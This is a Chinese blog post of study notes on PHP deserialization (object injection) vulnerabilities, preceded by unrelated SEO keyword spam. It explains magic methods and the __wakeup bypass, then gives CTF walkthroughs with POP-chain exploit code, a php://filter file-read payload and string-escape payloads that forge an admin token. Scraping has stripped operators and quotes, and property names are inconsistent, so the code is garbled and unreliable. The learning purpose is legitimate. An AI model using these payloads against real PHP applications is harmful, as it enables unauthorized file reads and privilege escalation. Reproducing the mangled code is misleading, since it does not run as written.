怎么开个网站,企业注册地址变更流程,河南省建设行业证书查询网站,如何自己做软件网站php反序列化学习在PHP中#xff0c;反序列化漏洞#xff08;也称为PHP对象注入漏洞#xff09;是一个安全漏洞#xff0c;它允许攻击者执行恶意代码或者访问敏感数据。这种漏洞通常发生在应用程序不正确地处理来自不可靠来源的序列化数据时就是将对象的状态信息写成一串字符…php反序列化学习在PHP中反序列化漏洞也称为PHP对象注入漏洞是一个安全漏洞它允许攻击者执行恶意代码或者访问敏感数据。这种漏洞通常发生在应用程序不正确地处理来自不可靠来源的序列化数据时就是将对象的状态信息写成一串字符以便传输和保存。o: 对象 a: 数组 s: 字符串 i: 整型空字符nullN;整型888i:888;浮点型88.8d:88.8;Boolean型true/falseb:1;/b:0;字符串nihaos:5:nihao;类的修饰符public:公共的在任何地方都可以访问默认修饰符(在类、变量、方法或构造函数的定义中没有指定任何访问修饰符)protected:受保护的只能在本类内部和继承的子类中访问不能在类外部直接访问private:私有的只能在本类内部访问不能在子类或外部访问修饰符本类内部子类类外部public可以访问可以访问可以访问protected可以访问可以访问不可访问private可以访问不可访问不可访问一些知识反序列化漏洞的成因是因为unserialize()需要传参而传入的参数可控就可以产生漏洞反序列化后对象里面的值与类里面预定义的值无关由于private私有化属性中会出现特殊字符要用%00来代替空最后再用urldecode进行解码后进行反序列化。执行时进行url编码是为了url中某些字符由特殊含义需要编码才能正确传输。字符集的兼容性url只能使用ASCll字符。防止歧义和注入避免与URL语法冲突。只要参数值可能包含特殊字符就应该进行URL编码以确保正确传输。如果需要绕过wakeup()方法可以利用当序列化字符串中表示的对象属性数量大于实际类的属性数量时__wakeup() 方法不会被调用魔术方法接着就是了解一些魔术方法_construct() 类的构造函数 _destruct() 类的析构函数 _call() 在对象中调用一个不可访问方法时调用 _callStatic() 用静态方式中调用一个不可访问方法时调用 _get() 获得一个类的成员变量时调用 _set() 设置一个类的成员变量时调用 _isset() 当对不可访问属性电工用isset()或empty()时调用 _unset() 当对不可访问属性调用unset()时被调用 _sleep() 执行serilize()时会先调用这个函数 _wakeup() 执行unserialize()时会先调用这个函数 _toString() 类被当成字符串时的回应方法 _invoke() 调用函数的方式调用一个对象是的回应方法 _set_state() 调用var_export()导出类时此静态方法会被调用 _clone() 当对象复制完成时调用 _autoload() 尝试加载未定义的类 _debuginfo() 打印所需调试信息__construct() 当对象创建时会自动调用(但在unserialize()时是不会自动调用的)__invoke 该魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种)_call() 当调用不存在的方法时会触发 __call 魔术方法__set() 当给不存在的属性赋值时会触发 __setclass Vulnerable { public function __wakeup() { // 反序列化时自动调用 echo 对象已唤醒\n; } public function __unserialize(array $data): void { // PHP 7.4 反序列化后创建的对象可用时调用 } public function __destruct() { // 对象销毁时调用 echo 对象销毁\n; } public function __get($name) { // 访问不存在属性时调用 return $this-$name; } public function __set($name, $value) { // 设置不存在属性时调用 $this-$name $value; } public function __call($name, $arguments) { // 调用不存在方法时调用 echo 调用不存在方法: $name\n; } }还有一些高危触发链1. __destruct() → __call() → __set() → 代码执行 2. __wakeup() → 属性赋值 → __set() → 命令执行 3. __toString() → 方法调用 → __call() → 系统调用例题1魔术方法的调用?php error_reporting(0); //flag is in flag.php class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $this-WEBSITE MANGA LIFE WIN; } public function __invoke(){ $this-append($this-No_893); } public function append($santi_takeshobo){ include($santi_takeshobo); } } class Pipimi { public $pipi; public function PIPIPIMI(){ $h 超喜欢POP子~ww,你也一样对吧(举刀); } public function __construct(){ echo Pipi美永远不会生气~ww; $this-pipi array(); } public function get($scopop){ $function $this-pipi; return $function(); } } class Goodsisters { public function PopukoPipimi(){ $is Good sisters; } public $kimonawa,$str; public function __construct($fileindex.php){ $this-kimonawa $file; echo Welcome to HNCTF2022 ,; } public function __toString(){ return $this-str-kimonawa; } public function __wakeup(){ if(preg_match(/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.|\//i, $this-kimonawa)) { echo 仲良ピース!; $this-kimonawa index.php; } } } if(isset($_GET[pop])) unserialize($_GET[pop]); else{ $anew Goodsisters; if(isset($_GET[pop_EP]) $_GET[pop_EP] ep683045){ highlight_file(__FILE__); echo 欸嘿,你也喜欢pop子~对吧ww; } } 欸嘿,你也喜欢pop子~对吧ww先看到Goodsisters类中的_wakeup()方法_wakeup()方法反序列化时立即调用从它下手this-kiminonawa会被正则检查且_wakeup()也没有调用危险函数让这条链子没走下去。最终是执行_invoke()方法调用append($this-No_893)倒着推要触发invoke()方法__invoke魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种)在Pipimi类中return $function()会触发_invoke()$function()在_get()方法中_get()方法在读取不存在属性时会触发在Goodsisters类中的_toString()方法中this-str-kiminonawaPipimi没有kiminonawa属性触发_get()方法-toString()方法是对象被当做字符串的时候进⾏⾃动调⽤在preg_match()会触发_toString()方法preg_match()在_wakeup方法中正着写pop链Goodsisters::__wakeup()-Goodsisters::_toString()-Pipimi::_get()-Popuko::_invoke()?php class Popuko{ private $No_893php://filter/readconvert.base64-encode/resourcef14g.php; } class Pipimi{ public $pipi; } class Goodsisters{ public $kiminonawa; public $str; } $popukonew Popuko(); $pipiminew Pipimi(); $pipimi-p$popuko; $goodsistersnew Goodsisters(); $goodsisters-str$pipimi; $goodsisters1new Goodsisters(); $goodsisters1-kiminonawa$goodsisters; echo urlencode(serialize($goodsisters1)); ?反序列化字符串逃逸序列化的字符串在经过过滤函数不正确的处理而导致对象注入例题1?php error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( /phtml|php3|php4|php5|aspx|gif/, , $string); } $user[username] $_POST[name]; $user[passwd] $_GET[passwd]; $user[sign] 123456; $ans filter(serialize($user)); if(unserialize($ans)[sign] ytyyds){ echo file_get_contents(flag.php); }需要构造的代码?php class user{ public $username; public $name; public $passwd; public $signytyyds; } $anew user(); echo serialize($a); ?该代码执行后生成O:4:user:4:{s:8:username;s:0:;s:4:name;s:0:;s:6:passwd;s:0:;s:4:sign;s:6:ytyyds;}逃逸距离取决于我们想要在序列化字符串中的哪个位置插入我们的payload以及我们想要覆盖哪些字段。在这一题中我们需要是覆盖 passwd 字段该字段有20个字符所以构造post请求时payloadnamephtmlphtmlphtmlphtml例题2字符串逃逸问题?php error_reporting(0); class message{ public $from; public $msg; public $to; public $tokenuser; public function __construct($f,$m,$t){ $this-from $f; $this-msg $m; $this-to $t; } } $f $_GET[f]; $m $_GET[m]; $t $_GET[t]; if(isset($f) isset($m) isset($t)){ $msg new message($f,$m,$t); $umsg str_replace(fuck, loveU, serialize($msg));//这里会将fuck替换成loveU setcookie(msg,base64_encode($umsg)); echo Your message has been sent; } highlight_file(__FILE__);然后看到注释中有一个php文件访问后又得到一串代码代码解释意思是说在cookie中传入一个参数msg其传入的内容需要进行base64编码要让admin赋值给token?php highlight_file(__FILE__); include(flag.php); class message{ public $from; public $msg; public $to; public $tokenuser; public function __construct($f,$m,$t){ $this-from $f; $this-msg $m; $this-to $t; } } if(isset($_COOKIE[msg])){ $msg unserialize(base64_decode($_COOKIE[msg])); if($msg-tokenadmin){ echo $flag; } }利用字符串逃逸方法然后就可以进行构造?php class message{ public $from; public $msg; public $to; public $tokenuser; } $anew message(); $a-fromb; $a-msgc; $a-tod; echo serialize($a); ? O:7:message:4:{s:4:from;s:1:b;s:3:msg;s:1:c;s:2:to;s:1:d;s:5:token;s:4:user;}要让tokenadmin借助这个$umsg str_replace(fuck, loveU, serialize($msg));;s:1:d;s:5:token;s:5:admin;}这一共有27个字符输入27个fuck这27个fuck会转换成27个loveU这会使其多出27个字符但是前面的135还是不变的。读到 s:135: 后取 135 个字符作为 to 的值135 个字符取完后后面紧跟着的是 ;闭合引号和分号此时解析器继续读s:5:token;s:5:admin;} 这被解析为新的键值对覆盖 token 为 adminO:7:message:4:{s:4:from;s:1:a;s:3:msg;s:1:b;s:2:to;s:135:fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:5:token;s:5:admin;};s:5:token;s:4:user;}这些是当作to的值进行传入fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:5:token;s:5:admin;}O:7:message:4:{s:4:from;s:1:a;s:3:msg;s:1:b;s:2:to;s:135:loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU;s:5:token;s:5:admin;};s:5:token;s:4:user;}最后剩下的 ;s:5:token;s:4:user;} 在对象结束后解析器会忽略多余字符O:7:message:4:{...4个属性...}尾部垃圾数据一旦解析器遇到那个 }它就认为工作完成了属性数量正确为4个属性不会继续解析后面的字符。payload?fambtfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck;s:5:token;s:5:admin;}执行成功后访问message.php在这题中也可以直接将token的值设为admin然后在cookie中传入参数msg将构造的的payload进行base64编码payloadO:7:message:4:{s:4:from;s:1:b;s:3:msg;s:1:c;s:2:to;s:1:d;s:5:token;s:5:admin;}